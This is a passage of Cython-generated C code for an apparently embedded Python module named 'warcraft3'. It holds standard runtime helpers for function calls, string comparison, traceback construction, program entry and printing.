  5699. static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) {
  5700. PyCFunctionObject* f = (PyCFunctionObject*)func;
  5701. PyCFunction meth = f->m_ml->ml_meth;
  5702. Py_ssize_t size;
  5703. switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) {
  5704. case METH_VARARGS:
  5705. if (likely(kw == NULL || PyDict_Size(kw) == 0))
  5706. return (*meth)(self, arg);
  5707. break;
  5708. case METH_VARARGS | METH_KEYWORDS:
  5709. return (*(PyCFunctionWithKeywords)meth)(self, arg, kw);
  5710. case METH_NOARGS:
  5711. if (likely(kw == NULL || PyDict_Size(kw) == 0)) {
  5712. size = PyTuple_GET_SIZE(arg);
  5713. if (likely(size == 0))
  5714. return (*meth)(self, NULL);
  5715. PyErr_Format(PyExc_TypeError,
  5716. "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)",
  5717. f->m_ml->ml_name, size);
  5718. return NULL;
  5719. }
  5720. break;
  5721. case METH_O:
  5722. if (likely(kw == NULL || PyDict_Size(kw) == 0)) {
  5723. size = PyTuple_GET_SIZE(arg);
  5724. if (likely(size == 1)) {
  5725. PyObject *result, *arg0 = PySequence_ITEM(arg, 0);
  5726. if (unlikely(!arg0)) return NULL;
  5727. result = (*meth)(self, arg0);
  5728. Py_DECREF(arg0);
  5729. return result;
  5730. }
  5731. PyErr_Format(PyExc_TypeError,
  5732. "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)",
  5733. f->m_ml->ml_name, size);
  5734. return NULL;
  5735. }
  5736. break;
  5737. default:
  5738. PyErr_SetString(PyExc_SystemError, "Bad call flags in "
  5739. "__Pyx_CyFunction_Call. METH_OLDARGS is no "
  5740. "longer supported!");
  5741. return NULL;
  5742. }
  5743. PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments",
  5744. f->m_ml->ml_name);
  5745. return NULL;
  5746. }
  5747. static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) {
  5748. return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw);
  5749. }
  5750. static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) {
  5751. PyObject *result;
  5752. __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func;
  5753. if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) {
  5754. Py_ssize_t argc;
  5755. PyObject *new_args;
  5756. PyObject *self;
  5757. argc = PyTuple_GET_SIZE(args);
  5758. new_args = PyTuple_GetSlice(args, 1, argc);
  5759. if (unlikely(!new_args))
  5760. return NULL;
  5761. self = PyTuple_GetItem(args, 0);
  5762. if (unlikely(!self)) {
  5763. Py_DECREF(new_args);
  5764. return NULL;
  5765. }
  5766. result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw);
  5767. Py_DECREF(new_args);
  5768. } else {
  5769. result = __Pyx_CyFunction_Call(func, args, kw);
  5770. }
  5771. return result;
  5772. }
  5773. static PyTypeObject __pyx_CyFunctionType_type = {
  5774. PyVarObject_HEAD_INIT(0, 0)
  5775. "cython_function_or_method",
  5776. sizeof(__pyx_CyFunctionObject),
  5777. 0,
  5778. (destructor) __Pyx_CyFunction_dealloc,
  5779. 0,
  5780. 0,
  5781. 0,
  5782. #if PY_MAJOR_VERSION < 3
  5783. 0,
  5784. #else
  5785. 0,
  5786. #endif
  5787. (reprfunc) __Pyx_CyFunction_repr,
  5788. 0,
  5789. 0,
  5790. 0,
  5791. 0,
  5792. __Pyx_CyFunction_CallAsMethod,
  5793. 0,
  5794. 0,
  5795. 0,
  5796. 0,
  5797. Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC,
  5798. 0,
  5799. (traverseproc) __Pyx_CyFunction_traverse,
  5800. (inquiry) __Pyx_CyFunction_clear,
  5801. 0,
  5802. #if PY_VERSION_HEX < 0x030500A0
  5803. offsetof(__pyx_CyFunctionObject, func_weakreflist),
  5804. #else
  5805. offsetof(PyCFunctionObject, m_weakreflist),
  5806. #endif
  5807. 0,
  5808. 0,
  5809. __pyx_CyFunction_methods,
  5810. __pyx_CyFunction_members,
  5811. __pyx_CyFunction_getsets,
  5812. 0,
  5813. 0,
  5814. __Pyx_CyFunction_descr_get,
  5815. 0,
  5816. offsetof(__pyx_CyFunctionObject, func_dict),
  5817. 0,
  5818. 0,
  5819. 0,
  5820. 0,
  5821. 0,
  5822. 0,
  5823. 0,
  5824. 0,
  5825. 0,
  5826. 0,
  5827. 0,
  5828. 0,
  5829. #if PY_VERSION_HEX >= 0x030400a1
  5830. 0,
  5831. #endif
  5832. };
  5833. static int __pyx_CyFunction_init(void) {
  5834. __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type);
  5835. if (__pyx_CyFunctionType == NULL) {
  5836. return -1;
  5837. }
  5838. return 0;
  5839. }
  5840. static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) {
  5841. __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func;
  5842. m->defaults = PyObject_Malloc(size);
  5843. if (!m->defaults)
  5844. return PyErr_NoMemory();
  5845. memset(m->defaults, 0, size);
  5846. m->defaults_pyobjects = pyobjects;
  5847. return m->defaults;
  5848. }
  5849. static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) {
  5850. __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func;
  5851. m->defaults_tuple = tuple;
  5852. Py_INCREF(tuple);
  5853. }
  5854. static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) {
  5855. __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func;
  5856. m->defaults_kwdict = dict;
  5857. Py_INCREF(dict);
  5858. }
  5859. static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) {
  5860. __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func;
  5861. m->func_annotations = dict;
  5862. Py_INCREF(dict);
  5863. }
  5864. /* BytesEquals */
  5865. static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) {
  5866. #if CYTHON_COMPILING_IN_PYPY
  5867. return PyObject_RichCompareBool(s1, s2, equals);
  5868. #else
  5869. if (s1 == s2) {
  5870. return (equals == Py_EQ);
  5871. } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) {
  5872. const char *ps1, *ps2;
  5873. Py_ssize_t length = PyBytes_GET_SIZE(s1);
  5874. if (length != PyBytes_GET_SIZE(s2))
  5875. return (equals == Py_NE);
  5876. ps1 = PyBytes_AS_STRING(s1);
  5877. ps2 = PyBytes_AS_STRING(s2);
  5878. if (ps1[0] != ps2[0]) {
  5879. return (equals == Py_NE);
  5880. } else if (length == 1) {
  5881. return (equals == Py_EQ);
  5882. } else {
  5883. int result;
  5884. #if CYTHON_USE_UNICODE_INTERNALS
  5885. Py_hash_t hash1, hash2;
  5886. hash1 = ((PyBytesObject*)s1)->ob_shash;
  5887. hash2 = ((PyBytesObject*)s2)->ob_shash;
  5888. if (hash1 != hash2 && hash1 != -1 && hash2 != -1) {
  5889. return (equals == Py_NE);
  5890. }
  5891. #endif
  5892. result = memcmp(ps1, ps2, (size_t)length);
  5893. return (equals == Py_EQ) ? (result == 0) : (result != 0);
  5894. }
  5895. } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) {
  5896. return (equals == Py_NE);
  5897. } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) {
  5898. return (equals == Py_NE);
  5899. } else {
  5900. int result;
  5901. PyObject* py_result = PyObject_RichCompare(s1, s2, equals);
  5902. if (!py_result)
  5903. return -1;
  5904. result = __Pyx_PyObject_IsTrue(py_result);
  5905. Py_DECREF(py_result);
  5906. return result;
  5907. }
  5908. #endif
  5909. }
  5910. /* UnicodeEquals */
  5911. static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) {
  5912. #if CYTHON_COMPILING_IN_PYPY
  5913. return PyObject_RichCompareBool(s1, s2, equals);
  5914. #else
  5915. #if PY_MAJOR_VERSION < 3
  5916. PyObject* owned_ref = NULL;
  5917. #endif
  5918. int s1_is_unicode, s2_is_unicode;
  5919. if (s1 == s2) {
  5920. goto return_eq;
  5921. }
  5922. s1_is_unicode = PyUnicode_CheckExact(s1);
  5923. s2_is_unicode = PyUnicode_CheckExact(s2);
  5924. #if PY_MAJOR_VERSION < 3
  5925. if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) {
  5926. owned_ref = PyUnicode_FromObject(s2);
  5927. if (unlikely(!owned_ref))
  5928. return -1;
  5929. s2 = owned_ref;
  5930. s2_is_unicode = 1;
  5931. } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) {
  5932. owned_ref = PyUnicode_FromObject(s1);
  5933. if (unlikely(!owned_ref))
  5934. return -1;
  5935. s1 = owned_ref;
  5936. s1_is_unicode = 1;
  5937. } else if (((!s2_is_unicode) & (!s1_is_unicode))) {
  5938. return __Pyx_PyBytes_Equals(s1, s2, equals);
  5939. }
  5940. #endif
  5941. if (s1_is_unicode & s2_is_unicode) {
  5942. Py_ssize_t length;
  5943. int kind;
  5944. void *data1, *data2;
  5945. if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0))
  5946. return -1;
  5947. length = __Pyx_PyUnicode_GET_LENGTH(s1);
  5948. if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) {
  5949. goto return_ne;
  5950. }
  5951. #if CYTHON_USE_UNICODE_INTERNALS
  5952. {
  5953. Py_hash_t hash1, hash2;
  5954. #if CYTHON_PEP393_ENABLED
  5955. hash1 = ((PyASCIIObject*)s1)->hash;
  5956. hash2 = ((PyASCIIObject*)s2)->hash;
  5957. #else
  5958. hash1 = ((PyUnicodeObject*)s1)->hash;
  5959. hash2 = ((PyUnicodeObject*)s2)->hash;
  5960. #endif
  5961. if (hash1 != hash2 && hash1 != -1 && hash2 != -1) {
  5962. goto return_ne;
  5963. }
  5964. }
  5965. #endif
  5966. kind = __Pyx_PyUnicode_KIND(s1);
  5967. if (kind != __Pyx_PyUnicode_KIND(s2)) {
  5968. goto return_ne;
  5969. }
  5970. data1 = __Pyx_PyUnicode_DATA(s1);
  5971. data2 = __Pyx_PyUnicode_DATA(s2);
  5972. if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) {
  5973. goto return_ne;
  5974. } else if (length == 1) {
  5975. goto return_eq;
  5976. } else {
  5977. int result = memcmp(data1, data2, (size_t)(length * kind));
  5978. #if PY_MAJOR_VERSION < 3
  5979. Py_XDECREF(owned_ref);
  5980. #endif
  5981. return (equals == Py_EQ) ? (result == 0) : (result != 0);
  5982. }
  5983. } else if ((s1 == Py_None) & s2_is_unicode) {
  5984. goto return_ne;
  5985. } else if ((s2 == Py_None) & s1_is_unicode) {
  5986. goto return_ne;
  5987. } else {
  5988. int result;
  5989. PyObject* py_result = PyObject_RichCompare(s1, s2, equals);
  5990. if (!py_result)
  5991. return -1;
  5992. result = __Pyx_PyObject_IsTrue(py_result);
  5993. Py_DECREF(py_result);
  5994. return result;
  5995. }
  5996. return_eq:
  5997. #if PY_MAJOR_VERSION < 3
  5998. Py_XDECREF(owned_ref);
  5999. #endif
  6000. return (equals == Py_EQ);
  6001. return_ne:
  6002. #if PY_MAJOR_VERSION < 3
  6003. Py_XDECREF(owned_ref);
  6004. #endif
  6005. return (equals == Py_NE);
  6006. #endif
  6007. }
  6008. /* CLineInTraceback */
  6009. static int __Pyx_CLineForTraceback(int c_line) {
  6010. #ifdef CYTHON_CLINE_IN_TRACEBACK
  6011. return ((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0;
  6012. #else
  6013. PyObject *use_cline;
  6014. #if CYTHON_COMPILING_IN_CPYTHON
  6015. PyObject **cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime);
  6016. if (likely(cython_runtime_dict)) {
  6017. use_cline = PyDict_GetItem(*cython_runtime_dict, __pyx_n_s_cline_in_traceback);
  6018. } else
  6019. #endif
  6020. {
  6021. PyObject *ptype, *pvalue, *ptraceback;
  6022. PyObject *use_cline_obj;
  6023. PyErr_Fetch(&ptype, &pvalue, &ptraceback);
  6024. use_cline_obj = __Pyx_PyObject_GetAttrStr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback);
  6025. if (use_cline_obj) {
  6026. use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True;
  6027. Py_DECREF(use_cline_obj);
  6028. } else {
  6029. use_cline = NULL;
  6030. }
  6031. PyErr_Restore(ptype, pvalue, ptraceback);
  6032. }
  6033. if (!use_cline) {
  6034. c_line = 0;
  6035. PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False);
  6036. }
  6037. else if (PyObject_Not(use_cline) != 0) {
  6038. c_line = 0;
  6039. }
  6040. return c_line;
  6041. #endif
  6042. }
  6043. /* CodeObjectCache */
  6044. static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) {
  6045. int start = 0, mid = 0, end = count - 1;
  6046. if (end >= 0 && code_line > entries[end].code_line) {
  6047. return count;
  6048. }
  6049. while (start < end) {
  6050. mid = start + (end - start) / 2;
  6051. if (code_line < entries[mid].code_line) {
  6052. end = mid;
  6053. } else if (code_line > entries[mid].code_line) {
  6054. start = mid + 1;
  6055. } else {
  6056. return mid;
  6057. }
  6058. }
  6059. if (code_line <= entries[mid].code_line) {
  6060. return mid;
  6061. } else {
  6062. return mid + 1;
  6063. }
  6064. }
  6065. static PyCodeObject *__pyx_find_code_object(int code_line) {
  6066. PyCodeObject* code_object;
  6067. int pos;
  6068. if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) {
  6069. return NULL;
  6070. }
  6071. pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line);
  6072. if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) {
  6073. return NULL;
  6074. }
  6075. code_object = __pyx_code_cache.entries[pos].code_object;
  6076. Py_INCREF(code_object);
  6077. return code_object;
  6078. }
  6079. static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) {
  6080. int pos, i;
  6081. __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries;
  6082. if (unlikely(!code_line)) {
  6083. return;
  6084. }
  6085. if (unlikely(!entries)) {
  6086. entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry));
  6087. if (likely(entries)) {
  6088. __pyx_code_cache.entries = entries;
  6089. __pyx_code_cache.max_count = 64;
  6090. __pyx_code_cache.count = 1;
  6091. entries[0].code_line = code_line;
  6092. entries[0].code_object = code_object;
  6093. Py_INCREF(code_object);
  6094. }
  6095. return;
  6096. }
  6097. pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line);
  6098. if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) {
  6099. PyCodeObject* tmp = entries[pos].code_object;
  6100. entries[pos].code_object = code_object;
  6101. Py_DECREF(tmp);
  6102. return;
  6103. }
  6104. if (__pyx_code_cache.count == __pyx_code_cache.max_count) {
  6105. int new_max = __pyx_code_cache.max_count + 64;
  6106. entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc(
  6107. __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry));
  6108. if (unlikely(!entries)) {
  6109. return;
  6110. }
  6111. __pyx_code_cache.entries = entries;
  6112. __pyx_code_cache.max_count = new_max;
  6113. }
  6114. for (i=__pyx_code_cache.count; i>pos; i--) {
  6115. entries[i] = entries[i-1];
  6116. }
  6117. entries[pos].code_line = code_line;
  6118. entries[pos].code_object = code_object;
  6119. __pyx_code_cache.count++;
  6120. Py_INCREF(code_object);
  6121. }
  6122. /* AddTraceback */
  6123. #include "compile.h"
  6124. #include "frameobject.h"
  6125. #include "traceback.h"
  6126. static PyCodeObject* __Pyx_CreateCodeObjectForTraceback(
  6127. const char *funcname, int c_line,
  6128. int py_line, const char *filename) {
  6129. PyCodeObject *py_code = 0;
  6130. PyObject *py_srcfile = 0;
  6131. PyObject *py_funcname = 0;
  6132. #if PY_MAJOR_VERSION < 3
  6133. py_srcfile = PyString_FromString(filename);
  6134. #else
  6135. py_srcfile = PyUnicode_FromString(filename);
  6136. #endif
  6137. if (!py_srcfile) goto bad;
  6138. if (c_line) {
  6139. #if PY_MAJOR_VERSION < 3
  6140. py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line);
  6141. #else
  6142. py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line);
  6143. #endif
  6144. }
  6145. else {
  6146. #if PY_MAJOR_VERSION < 3
  6147. py_funcname = PyString_FromString(funcname);
  6148. #else
  6149. py_funcname = PyUnicode_FromString(funcname);
  6150. #endif
  6151. }
  6152. if (!py_funcname) goto bad;
  6153. py_code = __Pyx_PyCode_New(
  6154. 0,
  6155. 0,
  6156. 0,
  6157. 0,
  6158. 0,
  6159. __pyx_empty_bytes, /*PyObject *code,*/
  6160. __pyx_empty_tuple, /*PyObject *consts,*/
  6161. __pyx_empty_tuple, /*PyObject *names,*/
  6162. __pyx_empty_tuple, /*PyObject *varnames,*/
  6163. __pyx_empty_tuple, /*PyObject *freevars,*/
  6164. __pyx_empty_tuple, /*PyObject *cellvars,*/
  6165. py_srcfile, /*PyObject *filename,*/
  6166. py_funcname, /*PyObject *name,*/
  6167. py_line,
  6168. __pyx_empty_bytes /*PyObject *lnotab*/
  6169. );
  6170. Py_DECREF(py_srcfile);
  6171. Py_DECREF(py_funcname);
  6172. return py_code;
  6173. bad:
  6174. Py_XDECREF(py_srcfile);
  6175. Py_XDECREF(py_funcname);
  6176. return NULL;
  6177. }
  6178. static void __Pyx_AddTraceback(const char *funcname, int c_line,
  6179. int py_line, const char *filename) {
  6180. PyCodeObject *py_code = 0;
  6181. PyFrameObject *py_frame = 0;
  6182. if (c_line) {
  6183. c_line = __Pyx_CLineForTraceback(c_line);
  6184. }
  6185. py_code = __pyx_find_code_object(c_line ? -c_line : py_line);
  6186. if (!py_code) {
  6187. py_code = __Pyx_CreateCodeObjectForTraceback(
  6188. funcname, c_line, py_line, filename);
  6189. if (!py_code) goto bad;
  6190. __pyx_insert_code_object(c_line ? -c_line : py_line, py_code);
  6191. }
  6192. py_frame = PyFrame_New(
  6193. PyThreadState_GET(), /*PyThreadState *tstate,*/
  6194. py_code, /*PyCodeObject *code,*/
  6195. __pyx_d, /*PyObject *globals,*/
  6196. 0 /*PyObject *locals*/
  6197. );
  6198. if (!py_frame) goto bad;
  6199. __Pyx_PyFrame_SetLineNumber(py_frame, py_line);
  6200. PyTraceBack_Here(py_frame);
  6201. bad:
  6202. Py_XDECREF(py_code);
  6203. Py_XDECREF(py_frame);
  6204. }
  6205. /* None */
  6206. #ifdef __FreeBSD__
  6207. #include <floatingpoint.h>
  6208. #endif
  6209. #if PY_MAJOR_VERSION < 3
  6210. int main(int argc, char** argv) {
  6211. #elif defined(WIN32) || defined(MS_WINDOWS)
  6212. int wmain(int argc, wchar_t **argv) {
  6213. #else
  6214. static int __Pyx_main(int argc, wchar_t **argv) {
  6215. #endif
  6216. /* 754 requires that FP exceptions run in "no stop" mode by default,
  6217. * and until C vendors implement C99's ways to control FP exceptions,
  6218. * Python requires non-stop mode. Alas, some platforms enable FP
  6219. * exceptions by default. Here we disable them.
  6220. */
  6221. #ifdef __FreeBSD__
  6222. fp_except_t m;
  6223. m = fpgetmask();
  6224. fpsetmask(m & ~FP_X_OFL);
  6225. #endif
  6226. if (argc && argv)
  6227. Py_SetProgramName(argv[0]);
  6228. Py_Initialize();
  6229. if (argc && argv)
  6230. PySys_SetArgv(argc, argv);
  6231. {
  6232. PyObject* m = NULL;
  6233. __pyx_module_is_main_warcraft3 = 1;
  6234. #if PY_MAJOR_VERSION < 3
  6235. initwarcraft3();
  6236. #else
  6237. m = PyInit_warcraft3();
  6238. #endif
  6239. if (PyErr_Occurred()) {
  6240. PyErr_Print();
  6241. #if PY_MAJOR_VERSION < 3
  6242. if (Py_FlushLine()) PyErr_Clear();
  6243. #endif
  6244. return 1;
  6245. }
  6246. Py_XDECREF(m);
  6247. }
  6248. Py_Finalize();
  6249. return 0;
  6250. }
  6251. #if PY_MAJOR_VERSION >= 3 && !defined(WIN32) && !defined(MS_WINDOWS)
  6252. #include <locale.h>
  6253. static wchar_t*
  6254. __Pyx_char2wchar(char* arg)
  6255. {
  6256. wchar_t *res;
  6257. #ifdef HAVE_BROKEN_MBSTOWCS
  6258. /* Some platforms have a broken implementation of
  6259. * mbstowcs which does not count the characters that
  6260. * would result from conversion. Use an upper bound.
  6261. */
  6262. size_t argsize = strlen(arg);
  6263. #else
  6264. size_t argsize = mbstowcs(NULL, arg, 0);
  6265. #endif
  6266. size_t count;
  6267. unsigned char *in;
  6268. wchar_t *out;
  6269. #ifdef HAVE_MBRTOWC
  6270. mbstate_t mbs;
  6271. #endif
  6272. if (argsize != (size_t)-1) {
  6273. res = (wchar_t *)malloc((argsize+1)*sizeof(wchar_t));
  6274. if (!res)
  6275. goto oom;
  6276. count = mbstowcs(res, arg, argsize+1);
  6277. if (count != (size_t)-1) {
  6278. wchar_t *tmp;
  6279. /* Only use the result if it contains no
  6280. surrogate characters. */
  6281. for (tmp = res; *tmp != 0 &&
  6282. (*tmp < 0xd800 || *tmp > 0xdfff); tmp++)
  6283. ;
  6284. if (*tmp == 0)
  6285. return res;
  6286. }
  6287. free(res);
  6288. }
  6289. #ifdef HAVE_MBRTOWC
  6290. /* Overallocate; as multi-byte characters are in the argument, the
  6291. actual output could use less memory. */
  6292. argsize = strlen(arg) + 1;
  6293. res = (wchar_t *)malloc(argsize*sizeof(wchar_t));
  6294. if (!res) goto oom;
  6295. in = (unsigned char*)arg;
  6296. out = res;
  6297. memset(&mbs, 0, sizeof mbs);
  6298. while (argsize) {
  6299. size_t converted = mbrtowc(out, (char*)in, argsize, &mbs);
  6300. if (converted == 0)
  6301. break;
  6302. if (converted == (size_t)-2) {
  6303. /* Incomplete character. This should never happen,
  6304. since we provide everything that we have -
  6305. unless there is a bug in the C library, or I
  6306. misunderstood how mbrtowc works. */
  6307. fprintf(stderr, "unexpected mbrtowc result -2\\n");
  6308. free(res);
  6309. return NULL;
  6310. }
  6311. if (converted == (size_t)-1) {
  6312. /* Conversion error. Escape as UTF-8b, and start over
  6313. in the initial shift state. */
  6314. *out++ = 0xdc00 + *in++;
  6315. argsize--;
  6316. memset(&mbs, 0, sizeof mbs);
  6317. continue;
  6318. }
  6319. if (*out >= 0xd800 && *out <= 0xdfff) {
  6320. /* Surrogate character. Escape the original
  6321. byte sequence with surrogateescape. */
  6322. argsize -= converted;
  6323. while (converted--)
  6324. *out++ = 0xdc00 + *in++;
  6325. continue;
  6326. }
  6327. in += converted;
  6328. argsize -= converted;
  6329. out++;
  6330. }
  6331. #else
  6332. /* Cannot use C locale for escaping; manually escape as if charset
  6333. is ASCII (i.e. escape all bytes > 128. This will still roundtrip
  6334. correctly in the locale's charset, which must be an ASCII superset. */
  6335. res = (wchar_t *)malloc((strlen(arg)+1)*sizeof(wchar_t));
  6336. if (!res) goto oom;
  6337. in = (unsigned char*)arg;
  6338. out = res;
  6339. while(*in)
  6340. if(*in < 128)
  6341. *out++ = *in++;
  6342. else
  6343. *out++ = 0xdc00 + *in++;
  6344. *out = 0;
  6345. #endif
  6346. return res;
  6347. oom:
  6348. fprintf(stderr, "out of memory\\n");
  6349. return NULL;
  6350. }
  6351. int
  6352. main(int argc, char **argv)
  6353. {
  6354. if (!argc) {
  6355. return __Pyx_main(0, NULL);
  6356. }
  6357. else {
  6358. int i, res;
  6359. wchar_t **argv_copy = (wchar_t **)malloc(sizeof(wchar_t*)*argc);
  6360. wchar_t **argv_copy2 = (wchar_t **)malloc(sizeof(wchar_t*)*argc);
  6361. char *oldloc = strdup(setlocale(LC_ALL, NULL));
  6362. if (!argv_copy || !argv_copy2 || !oldloc) {
  6363. fprintf(stderr, "out of memory\\n");
  6364. free(argv_copy);
  6365. free(argv_copy2);
  6366. free(oldloc);
  6367. return 1;
  6368. }
  6369. res = 0;
  6370. setlocale(LC_ALL, "");
  6371. for (i = 0; i < argc; i++) {
  6372. argv_copy2[i] = argv_copy[i] = __Pyx_char2wchar(argv[i]);
  6373. if (!argv_copy[i]) res = 1;
  6374. }
  6375. setlocale(LC_ALL, oldloc);
  6376. free(oldloc);
  6377. if (res == 0)
  6378. res = __Pyx_main(argc, argv_copy);
  6379. for (i = 0; i < argc; i++) {
  6380. free(argv_copy2[i]);
  6381. }
  6382. free(argv_copy);
  6383. free(argv_copy2);
  6384. return res;
  6385. }
  6386. }
  6387. #endif
  6388. /* Print */
  6389. #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION < 3
  6390. static PyObject *__Pyx_GetStdout(void) {
  6391. PyObject *f = PySys_GetObject((char *)"stdout");
  6392. if (!f) {
  6393. PyErr_SetString(PyExc_RuntimeError, "lost sys.stdout");
  6394. }
  6395. return f;
  6396. }
  6397. static int __Pyx_Print(PyObject* f, PyObject *arg_tuple, int newline) {
  6398. int i;
  6399. if (!f) {
  6400. if (!(f = __Pyx_GetStdout()))
  6401. return -1;
  6402. }
  6403. Py_INCREF(f);
  6404. for (i=0; i < PyTuple_GET_SIZE(arg_tuple); i++) {
  6405. PyObject* v;
  6406. if (PyFile_SoftSpace(f, 1)) {
  6407. if (PyFile_WriteString(" ", f) < 0)
  6408. goto error;
  6409. }
  6410. v = PyTuple_GET_ITEM(arg_tuple, i);
  6411. if (PyFile_WriteObject(v, f, Py_PRINT_RAW) < 0)
  6412. goto error;
  6413. if (PyString_Check(v)) {
  6414. char *s = PyString_AsString(v);
  6415. Py_ssize_t len = PyString_Size(v);
  6416. if (len > 0) {
  6417. switch (s[len-1]) {
  6418. case ' ': break;
  6419. case '\f': case '\r': case '\n': case '\t': case '\v':
  6420. PyFile_SoftSpace(f, 0);
  6421. break;
  6422. default: break;
  6423. }
  6424. }
  6425. }
  6426. }
  6427. if (newline) {
  6428. if (PyFile_WriteString("\n", f) < 0)
  6429. goto error;
  6430. PyFile_SoftSpace(f, 0);
  6431. }
  6432. Py_DECREF(f);
  6433. return 0;
  6434. error:
  6435. Py_DECREF(f);
  6436. return -1;
  6437. }
  6438. #else
  6439. static int __Pyx_Print(PyObject* stream, PyObject *arg_tuple, int newline) {
  6440. PyObject* kwargs = 0;
  6441. PyObject* result = 0;
  6442. PyObject* end_string;
  6443. if (unlikely(!__pyx_print)) {
  6444. __pyx_print = PyObject_GetAttr(__pyx_b, __pyx_n_s_print);
  6445. if (!__pyx_print)
  6446. return -1;
  6447. }
  6448. if (stream) {
  6449. kwargs = PyDict_New();
  6450. if (unlikely(!kwargs))
  6451. return -1;
  6452. if (unlikely(PyDict_SetItem(kwargs, __pyx_n_s_file, stream) < 0))
  6453. goto bad;
  6454. if (!newline) {
  6455. end_string = PyUnicode_FromStringAndSize(" ", 1);
  6456. if (unlikely(!end_string))
  6457. goto bad;
  6458. if (PyDict_SetItem(kwargs, __pyx_n_s_end, end_string) < 0) {
  6459. Py_DECREF(end_string);
  6460. goto bad;
  6461. }
  6462. Py_DECREF(end_string);
  6463. }
  6464. } else if (!newline) {
  6465. if (unlikely(!__pyx_print_kwargs)) {
  6466. __pyx_print_kwargs = PyDict_New();
  6467. if (unlikely(!__pyx_print_kwargs))
  6468. return -1;
  6469. end_string = PyUnicode_FromStringAndSize(" ", 1);
  6470. if (unlikely(!end_string))
  6471. return -1;
  6472. if (PyDict_SetItem(__pyx_print_kwargs, __pyx_n_s_end, end_string) < 0) {
  6473. Py_DECREF(end_string);
  6474. return -1;
  6475. }
  6476. Py_DECREF(end_string);
  6477. }
  6478. kwargs = __pyx_print_kwargs;
  6479. }
  6480. result = PyObject_Call(__pyx_print, arg_tuple, kwargs);
  6481. if (unlikely(kwargs) && (kwargs != __pyx_print_kwargs))
  6482. Py_DECREF(kwargs);
  6483. if (!result)
  6484. return -1;
  6485. Py_DECREF(result);
  6486. return 0;
  6487. bad:
  6488. if (kwargs != __pyx_print_kwargs)
  6489. Py_XDECREF(kwargs);
  6490. return -1;
  6491. }
  6492. #endif
  6493. /* PrintOne */
  6494. #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION < 3
  6495. static int __Pyx_PrintOne(PyObject* f, PyObject *o) {
  6496. if (!f) {
  6497. if (!(f = __Pyx_GetStdout()))
  6498. return -1;
  6499. }
  6500. Py_INCREF(f);
  6501. if (PyFile_SoftSpace(f, 0)) {
  6502. if (PyFile_WriteString(" ", f) < 0)
  6503. goto error;
  6504. }
  6505. if (PyFile_WriteObject(o, f, Py_PRINT_RAW) < 0)
  6506. goto error;
  6507. if (PyFile_WriteString("\n", f) < 0)
  6508. goto error;
  6509. Py_DECREF(f);
  6510. return 0;
  6511. error:
  6512. Py_DECREF(f);
  6513. return -1;
  6514. /* the line below is just to avoid C compiler
  6515. * warnings about unused functions */
